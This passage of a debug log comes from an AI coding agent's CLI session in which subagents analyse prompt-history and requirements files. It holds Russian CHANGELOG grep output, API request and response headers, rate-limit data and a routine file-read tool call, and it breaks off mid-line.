\u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0438\u0442\u043e\u0433 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u0441 \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n./CHANGELOG.md:923:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0438\u0442\u043e\u0433 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n./CHANGELOG.md:1006:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case \u0438 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\n./CHANGELOG.md:1044:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c \u043a\u0435\u0439\u0441\u043e\u043c:\\n./CHANGELOG.md:1074:- \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a **\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u043d\u0435 golden case**: \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440 \u0424\u0422 v1.4\\n./CHANGELOG.md:1101:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0441\\n./CHANGELOG.md:1196:  golden case; \u0437\u0430\u043f\u0438\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0434\u043b\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n./CHANGELOG.md:1315:- \u041e\u0433\u043e\u0432\u043e\u0440\u043a\u0430: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u2014 **\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439**, \u044d\u0442\u043e \u043d\u0435 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0438 \u043d\u0435\\n./CHANGELOG.md:1316:  golden case; \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0438 BA-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432,\",\n[2026-09-29T07:46:39.692Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:39.692Z] [INFO]       }\n[2026-09-29T07:46:39.692Z] [INFO]     ]\n[2026-09-29T07:46:39.692Z] [INFO]   },\n[2026-09-29T07:46:39.692Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"uuid\": \"03d3a88e-fd47-4700-a65f-36c9ce81acc7\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:38.779Z\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:39.692Z] [INFO] }\n[2026-09-29T07:46:39.708Z] [STDOUT] [log_894501] sending request {\n[2026-09-29T07:46:39.714Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:39.731Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:39.742Z] [STDOUT]   options: {\n[2026-09-29T07:46:39.751Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:39.763Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:39.768Z] [STDOUT]     body: {\n[2026-09-29T07:46:39.775Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:39.777Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:39.782Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:39.788Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:39.794Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:39.815Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:39.857Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:39.862Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:39.868Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:39.872Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:39.883Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:39.889Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:39.891Z] [STDOUT]     },\n[2026-09-29T07:46:39.893Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:39.898Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:39.902Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:39.906Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:39.912Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:39.917Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:39.925Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:39.931Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:39.934Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:39.940Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:39.944Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:39.947Z] [STDOUT]     },\n[2026-09-29T07:46:39.952Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:39.954Z] [STDOUT]   },\n[2026-09-29T07:46:39.957Z] [STDOUT]   headers: {\n[2026-09-29T07:46:39.959Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:39.965Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:39.975Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:39.980Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:39.984Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:39.990Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:39.994Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:39.997Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:40.006Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:40.012Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:40.017Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:40.079Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1645\",\n[2026-09-29T07:46:40.085Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:40.088Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:40.095Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.102Z] [STDOUT]     \"x-client-request-id\": \"8d773091-5da7-4796-ba43-68d049021c11\",\n[2026-09-29T07:46:40.106Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:40.131Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:40.135Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:40.153Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:40.159Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:40.163Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:40.165Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:40.170Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:40.176Z] [STDOUT]   },\n[2026-09-29T07:46:40.180Z] [STDOUT] }\n[2026-09-29T07:46:40.185Z] [INFO] {\n[2026-09-29T07:46:40.185Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:40.185Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:40.185Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:46:40.185Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:40.185Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.185Z] [INFO]   \"uuid\": \"9acfa2d5-fb21-4393-9d2f-b64f276bd731\"\n[2026-09-29T07:46:40.185Z] [INFO] }\n[2026-09-29T07:46:40.189Z] [STDOUT] [log_894501, request-id: \"req_011CfXMrDNLCfWN3pyy5mghJ\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 699ms\n[2026-09-29T07:46:40.192Z] [STDOUT] [log_894501] response start {\n[2026-09-29T07:46:40.195Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:40.197Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:40.200Z] [STDOUT]   headers: {\n[2026-09-29T07:46:40.203Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:40.207Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:40.210Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:40.214Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:40.221Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:40.224Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:40.234Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:40.238Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:40.255Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:40.258Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:40.260Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:40.263Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:40.267Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:40.270Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:40.273Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:40.277Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:40.280Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:40.284Z] [STDOUT]     \"cf-ray\": \"a42960109bed29ad-FRA\",\n[2026-09-29T07:46:40.287Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:40.290Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:40.293Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:40.295Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:40.298Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:39 GMT\",\n[2026-09-29T07:46:40.304Z] [STDOUT]     \"request-id\": \"req_011CfXMrDNLCfWN3pyy5mghJ\",\n[2026-09-29T07:46:40.307Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:40.312Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:40.318Z] [STDOUT]     traceresponse: \"00-f53cdcd583dec5e849460e302580d2bd-e0e893f731b07345-01\",\n[2026-09-29T07:46:40.320Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:40.324Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:40.332Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:40.336Z] [STDOUT]   },\n[2026-09-29T07:46:40.341Z] [STDOUT]   durationMs: 699,\n[2026-09-29T07:46:40.345Z] [STDOUT] }\n[2026-09-29T07:46:40.348Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:40.354Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:39 GMT\",\n[2026-09-29T07:46:40.361Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:40.364Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:40.370Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:40.374Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:40.378Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:40.382Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:40.384Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:40.387Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:40.394Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:40.397Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:40.400Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:40.405Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:40.408Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:40.414Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:40.423Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:40.427Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:40.430Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:40.434Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:40.437Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:40.443Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:40.446Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:40.451Z] [STDOUT]   \"request-id\": \"req_011CfXMrDNLCfWN3pyy5mghJ\",\n[2026-09-29T07:46:40.454Z] [STDOUT]   \"traceresponse\": \"00-f53cdcd583dec5e849460e302580d2bd-e0e893f731b07345-01\",\n[2026-09-29T07:46:40.458Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:40.460Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:40.468Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:40.471Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:40.475Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:40.479Z] [STDOUT]   \"cf-ray\": \"a42960109bed29ad-FRA\",\n[2026-09-29T07:46:40.482Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:40.487Z] [STDOUT] [log_894501] response parsed {\n[2026-09-29T07:46:40.490Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:40.495Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:40.500Z] [STDOUT]   body: X {\n[2026-09-29T07:46:40.504Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:40.506Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:40.509Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:40.517Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:40.520Z] [STDOUT]     },\n[2026-09-29T07:46:40.524Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:40.530Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:40.535Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:40.539Z] [STDOUT]   },\n[2026-09-29T07:46:40.542Z] [STDOUT]   durationMs: 699,\n[2026-09-29T07:46:40.545Z] [STDOUT] }\n[2026-09-29T07:46:40.552Z] [INFO] {\n[2026-09-29T07:46:40.552Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"message\": {\n[2026-09-29T07:46:40.552Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:40.552Z] [INFO]     \"id\": \"msg_011CfXMr91e3aR7gMqwJm1HG\",\n[2026-09-29T07:46:40.552Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:40.552Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:40.552Z] [INFO]     \"content\": [\n[2026-09-29T07:46:40.552Z] [INFO]       {\n[2026-09-29T07:46:40.552Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:40.552Z] [INFO]         \"id\": \"toolu_01EXa7MimN8MK7WZfDqP6uxg\",\n[2026-09-29T07:46:40.552Z] [INFO]         \"name\": \"Read\",\n[2026-09-29T07:46:40.552Z] [INFO]         \"input\": {\n[2026-09-29T07:46:40.552Z] [INFO]           \"file_path\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bplthp03z.txt\"\n[2026-09-29T07:46:40.552Z] [INFO]         },\n[2026-09-29T07:46:40.552Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:40.552Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:40.552Z] [INFO]         }\n[2026-09-29T07:46:40.552Z] [INFO]       }\n[2026-09-29T07:46:40.552Z] [INFO]     ],\n[2026-09-29T07:46:40.552Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:40.552Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:40.552Z] [INFO]       \"cache_creation_input_tokens\": 1204,\n[2026-09-29T07:46:40.552Z] [INFO]       \"cache_read_input_tokens\": 100366,\n[2026-09-29T07:46:40.552Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:40.552Z] [INFO]         \"ephemeral_5m_input_tokens\": 1204,\n[2026-09-29T07:46:40.552Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:40.552Z] [INFO]       },\n[2026-09-29T07:46:40.552Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:46:40.552Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:40.552Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:40.552Z] [INFO]     },\n[2026-09-29T07:46:40.552Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:40.552Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:40.552Z] [INFO]   },\n[2026-09-29T07:46:40.552Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"uuid\": \"726e365e-3a0c-48e5-b317-3c7635095573\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:39.567Z\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"request_id\": \"req_011CfXMr8UeSjuHZPrMNut12\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:40.552Z] [INFO] }\n[2026-09-29T07:46:40.558Z] [INFO] {\n[2026-09-29T07:46:40.558Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"description\": \"Reading ~/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bplthp03z.txt\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:40.558Z] [INFO]     \"total_tokens\": 101968,\n[2026-09-29T07:46:40.558Z] [INFO]     \"tool_uses\": 31,\n[2026-09-29T07:46:40.558Z] [INFO]     \"duration_ms\": 130291\n[2026-09-29T07:46:40.558Z] [INFO]   },\n[2026-09-29T07:46:40.558Z] [INFO]   \"last_tool_name\": \"Read\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"uuid\": \"582bad94-22fb-45c2-b7ce-9abb4f2d3bdb\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:40.558Z] [INFO] }\n[2026-09-29T07:46:40.560Z] [STDOUT] [log_0416bb] sending request {\n[2026-09-29T07:46:40.564Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:40.566Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:40.571Z] [STDOUT]   options: {\n[2026-09-29T07:46:40.575Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:40.579Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:40.582Z] [STDOUT]     body: {\n[2026-09-29T07:46:40.585Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:40.593Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:40.602Z] [STDOUT]       tools: [],\n[2026-09-29T07:46:40.604Z] [STDOUT]     },\n[2026-09-29T07:46:40.608Z] [STDOUT]   },\n[2026-09-29T07:46:40.617Z] [STDOUT]   headers: {\n[2026-09-29T07:46:40.625Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:40.627Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:46:40.648Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:40.651Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:40.655Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:40.663Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:40.667Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:40.671Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:40.677Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:46:40.680Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.683Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:40.685Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:40.688Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:40.690Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:40.693Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:40.701Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:40.708Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:40.714Z] [STDOUT]   },\n[2026-09-29T07:46:40.723Z] [STDOUT] }\n[2026-09-29T07:46:40.726Z] [STDOUT] [log_0416bb, request-id: \"req_011CfXMrGeGUnQ72W5pdmND3\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 193ms\n[2026-09-29T07:46:40.734Z] [STDOUT] [log_0416bb] response start {\n[2026-09-29T07:46:40.739Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:40.747Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:40.751Z] [STDOUT]   headers: {\n[2026-09-29T07:46:40.755Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:40.762Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:40.767Z] [STDOUT]     \"cf-cache-status\": 